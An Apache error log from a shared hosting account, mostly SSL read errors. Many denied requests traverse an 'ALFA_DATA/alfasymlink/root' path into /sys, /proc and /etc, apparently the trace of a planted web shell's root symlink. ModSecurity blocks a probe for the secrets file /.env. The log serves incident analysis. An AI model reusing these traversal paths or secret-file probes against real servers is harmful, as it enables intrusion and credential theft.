[Sat Oct 24 21:52:02.799941 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.16:43286] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libata/sections/__ksymtab_gpl
[Sat Oct 24 21:52:06.337664 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 44.223.115.10:56934] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:52:10.194799 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.213.27.222:49751] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:52:14.146972 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 52.2.191.202:12248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/graphics/fbcon/subsystem/fb0/device/subsystem/drivers/dw_dmac_pci/uevent
[Sat Oct 24 21:52:22.157509 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.206.212.24:30547] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:52:34.171495 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.206.249.188:62569] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:52:46.198158 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 18.206.47.187:17176] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:52:50.254983 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.202.233.37:45360] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:53:02.153918 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.83.177.42:64671] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:53:10.170487 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.206.249.188:7722] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:53:14.213337 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 100.28.57.133:27293] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:53:14.275555 2026] [security2:error] [pid 2693034:tid 2693034] [client 130.12.180.175:40464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1hClQTwXU83R4GW_mbYQAAACg"]
[Sat Oct 24 21:53:14.275840 2026] [security2:error] [pid 2693034:tid 2693034] [client 130.12.180.175:40464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1hClQTwXU83R4GW_mbYQAAACg"]
[Sat Oct 24 21:53:14.276107 2026] [security2:error] [pid 2693034:tid 2693034] [client 130.12.180.175:40464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1hClQTwXU83R4GW_mbYQAAACg"]
[Sat Oct 24 21:53:22.172961 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 100.27.153.9:29039] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:53:26.163250 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.205.170.13:37615] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:53:30.147095 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 3.94.199.128:30087] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:53:38.136299 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 3.231.193.38:62744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:53:46.197447 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.218.170.184:53432] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:53:50.194214 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 18.204.152.114:14645] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:53:54.167795 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.210.58.238:19624] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:53:58.137803 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.223.116.180:53033] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:54:06.340804 2026] [ssl:error] [pid 2731612:tid 2731612] (5)Input/output error: [client 35.170.205.140:24244] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:54:14.011500 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 185.191.171.9:16590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-256/total_objects
[Sat Oct 24 21:54:14.156174 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.205.213.231:37942] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:54:19.685336 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 216.244.66.250:60676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tmp.H5xfTDmh3t
[Sat Oct 24 21:54:22.205519 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 35.174.141.243:9715] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:54:30.169574 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 52.54.95.127:32413] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:54:34.143523 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.216.86.144:36248] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:54:38.186495 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 23.21.119.232:16045] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:54:38.198945 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 216.244.66.250:58770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/spammeripblocks
[Sat Oct 24 21:54:42.147845 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 44.208.223.68:61017] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:54:46.140989 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 18.232.36.1:11981] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:54:58.157379 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 107.23.62.75:60758] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:54:58.157566 2026] [security2:error] [pid 2693020:tid 2693020] [client 107.23.62.75:60758] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:03/power/runtime_suspended_time"] [unique_id "at1hcjKiZtbKEGWJKoLWrQAAACE"]
[Sat Oct 24 21:54:58.157593 2026] [security2:error] [pid 2693020:tid 2693020] [client 107.23.62.75:60758] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:03/power/runtime_suspended_time"] [unique_id "at1hcjKiZtbKEGWJKoLWrQAAACE"]
[Sat Oct 24 21:55:06.354976 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.196.237.236:7567] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:55:08.454859 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 85.208.96.210:50026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAW/slabs_cpu_partial
[Sat Oct 24 21:55:22.155256 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 54.88.84.219:55716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input0/event0/device/device/subsystem/drivers/pvpanic/unbind
[Sat Oct 24 21:55:23.190730 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.4:58532] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_ctx/objs_per_slab
[Sat Oct 24 21:55:26.165013 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 98.83.72.38:19991] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:55:45.742732 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 85.208.96.195:39280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/alloc_calls
[Sat Oct 24 21:55:46.182843 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 35.153.86.200:22744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/devices/0000:00:00.0/remove
[Sat Oct 24 21:55:54.160768 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.29.128.75:30829] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:55:58.337438 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 184.73.167.217:24319] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:56:14.228370 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 34.194.165.45:52274] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/uhci_hcd/new_id
[Sat Oct 24 21:56:18.157868 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.205.91.101:44415] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:56:22.145555 2026] [ssl:error] [pid 2707149:tid 2707149] (5)Input/output error: [client 34.225.243.131:43529] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:56:26.180416 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.0.41.164:33172] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:56:34.173071 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 23.21.250.48:65489] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:56:38.148064 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.147.238.89:59905] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:56:42.143863 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 23.23.104.107:46401] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:56:46.255477 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.225.243.131:15674] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:56:58.144485 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 52.5.232.250:28622] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:57:14.195191 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 35.171.141.42:17101] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:57:22.297101 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.29.164.178:53318] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:57:26.365939 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.225.24.180:18556] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:57:34.142771 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 98.80.130.239:53589] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:57:38.167130 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 3.208.156.9:19976] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:57:46.148276 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.0.218.219:30826] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:57:50.302379 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 52.200.142.199:47532] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:57:54.163622 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.214.251.19:60158] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:57:58.196844 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 52.22.87.224:31218] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/fw_cfg/bind
[Sat Oct 24 21:58:05.662930 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.11:63030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS2/custom_divisor
[Sat Oct 24 21:58:06.162554 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.221.203.24:15914] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:58:10.141793 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.232.82.72:53625] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:58:18.147581 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.205.91.101:9445] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:58:22.315538 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 107.20.224.184:30915] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:58:42.154557 2026] [ssl:error] [pid 2733464:tid 2733464] (5)Input/output error: [client 18.215.49.176:33100] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:58:54.141302 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 98.84.60.17:1603] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:15/eject
[Sat Oct 24 21:58:59.196447 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.4:62836] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCPv6/slabs
[Sat Oct 24 21:59:06.144381 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.231.181.240:55255] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:59:10.211727 2026] [ssl:error] [pid 2733464:tid 2733464] (5)Input/output error: [client 18.232.36.1:4755] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:59:18.214805 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 107.20.255.194:6625] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:59:22.162880 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 35.173.18.61:62469] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty63/subsystem/ttyS3/line
[Sat Oct 24 21:59:30.153952 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 98.83.8.142:29385] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:59:38.153880 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 52.4.213.199:15523] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:00:06.352681 2026] [security2:error] [pid 2733464:tid 2733464] [client 3.220.70.171:51233] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/event1/subsystem/event0/device/capabilities/"] [unique_id "at1ipiTLSCb4RJ-3cSWWGwAAAAE"]
[Sat Oct 24 22:00:06.352739 2026] [security2:error] [pid 2733464:tid 2733464] [client 3.220.70.171:51233] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/event1/subsystem/event0/device/capabilities/"] [unique_id "at1ipiTLSCb4RJ-3cSWWGwAAAAE"]
[Sat Oct 24 22:00:10.163730 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.163.136.244:19441] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:00:13.145080 2026] [security2:error] [pid 2707149:tid 2707149] [client 43.159.35.188:43824] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at1irTr66i8lbh-yPykEpQAAAAA"]
[Sat Oct 24 22:00:14.161374 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 100.27.153.9:18101] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:00:18.175008 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.225.243.131:20900] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:01:02.282528 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.212.131.50:13691] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:01:06.136788 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.214.238.178:58338] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:01:10.162191 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 3.213.46.222:15977] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/device:12/subsystem/drivers_probe
[Sat Oct 24 22:01:14.138542 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 52.3.102.51:32410] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:01:18.160473 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 100.28.133.214:14683] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:01:22.239111 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.193.102.198:35831] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:01:26.138300 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 98.83.177.42:37098] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:01:30.147433 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 100.29.34.97:30042] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:01:38.246499 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 85.208.96.208:42146] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/partial
[Sat Oct 24 22:01:42.184592 2026] [ssl:error] [pid 2731612:tid 2731612] (5)Input/output error: [client 54.85.7.119:42029] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:01:50.132915 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 100.28.57.133:29565] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:01:54.274252 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.221.105.234:21936] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:02:06.119578 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.73.142.41:42885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:02:13.884842 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 85.208.96.204:55512] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:02:32.179909 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 85.208.96.207:32536] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:02:34.126388 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 100.27.153.9:57017] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty40/subsystem/ttyS0/closing_wait
[Sat Oct 24 22:02:38.161701 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.195.145.102:30753] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:02:42.293683 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 54.157.84.74:53776] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:02:54.123446 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.205.141.124:33979] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:03:42.155236 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.208.223.68:57865] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:03:50.135593 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 35.169.240.53:36427] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:04:02.295629 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.233.114.237:31921] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:04:06.151752 2026] [ssl:error] [pid 2692979:tid 2692979] (5)Input/output error: [client 44.223.193.255:30704] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:04:09.447050 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.15:54118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8k/cpu_partial
[Sat Oct 24 22:04:10.865120 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.6:10272] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_tree_mark/destroy_by_rcu
[Sat Oct 24 22:04:14.179759 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 52.22.87.224:52967] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:04:30.146291 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.209.201.119:41677] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:04:38.177143 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.198.33.233:49392] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:04:42.178886 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 35.153.86.200:37969] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:01/physical_node/crash_notes_size
[Sat Oct 24 22:04:46.334620 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 54.157.84.74:47331] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:04:50.153290 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 184.73.35.182:17715] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/subsystem/drivers/dw_dmac_pci/uevent
[Sat Oct 24 22:04:54.145105 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 54.159.98.248:62441] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:03.0/driver/0000:00:03.0/subsystem/drivers/cirrus/module/drivers/pci:cirrus/uevent
[Sat Oct 24 22:04:58.134338 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.204.37.237:26323] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:05:02.130995 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.204.150.196:60237] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:05:10.149061 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 3.215.221.125:42291] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:05:12.903385 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 185.191.171.8:39670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/partial
[Sat Oct 24 22:05:34.297675 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 35.169.102.85:11174] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:05:42.195572 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.234.200.207:44741] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:05:50.133495 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 34.206.212.24:1796] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:05:54.362047 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.166.126.132:41927] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:05:59.023389 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 85.208.96.200:51222] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:06:02.139935 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.89.170.186:57436] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:06:06.276016 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.227.156.153:15374] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:06:10.126158 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 54.162.69.192:58105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:06:20.850434 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.205:39164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/store_user
[Sat Oct 24 22:06:34.139889 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 3.90.73.206:11923] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 22:06:37.739933 2026] [authz_core:error] [pid 2733464:tid 2733464] [client 34.165.138.88:43416] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Sat Oct 24 22:06:37.962966 2026] [security2:error] [pid 2693034:tid 2693034] [client 85.208.96.196:15708] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/include/bits/types/__fpos_t.h"] [unique_id "at1kLVQTwXU83R4GW_mbfgAAACg"]
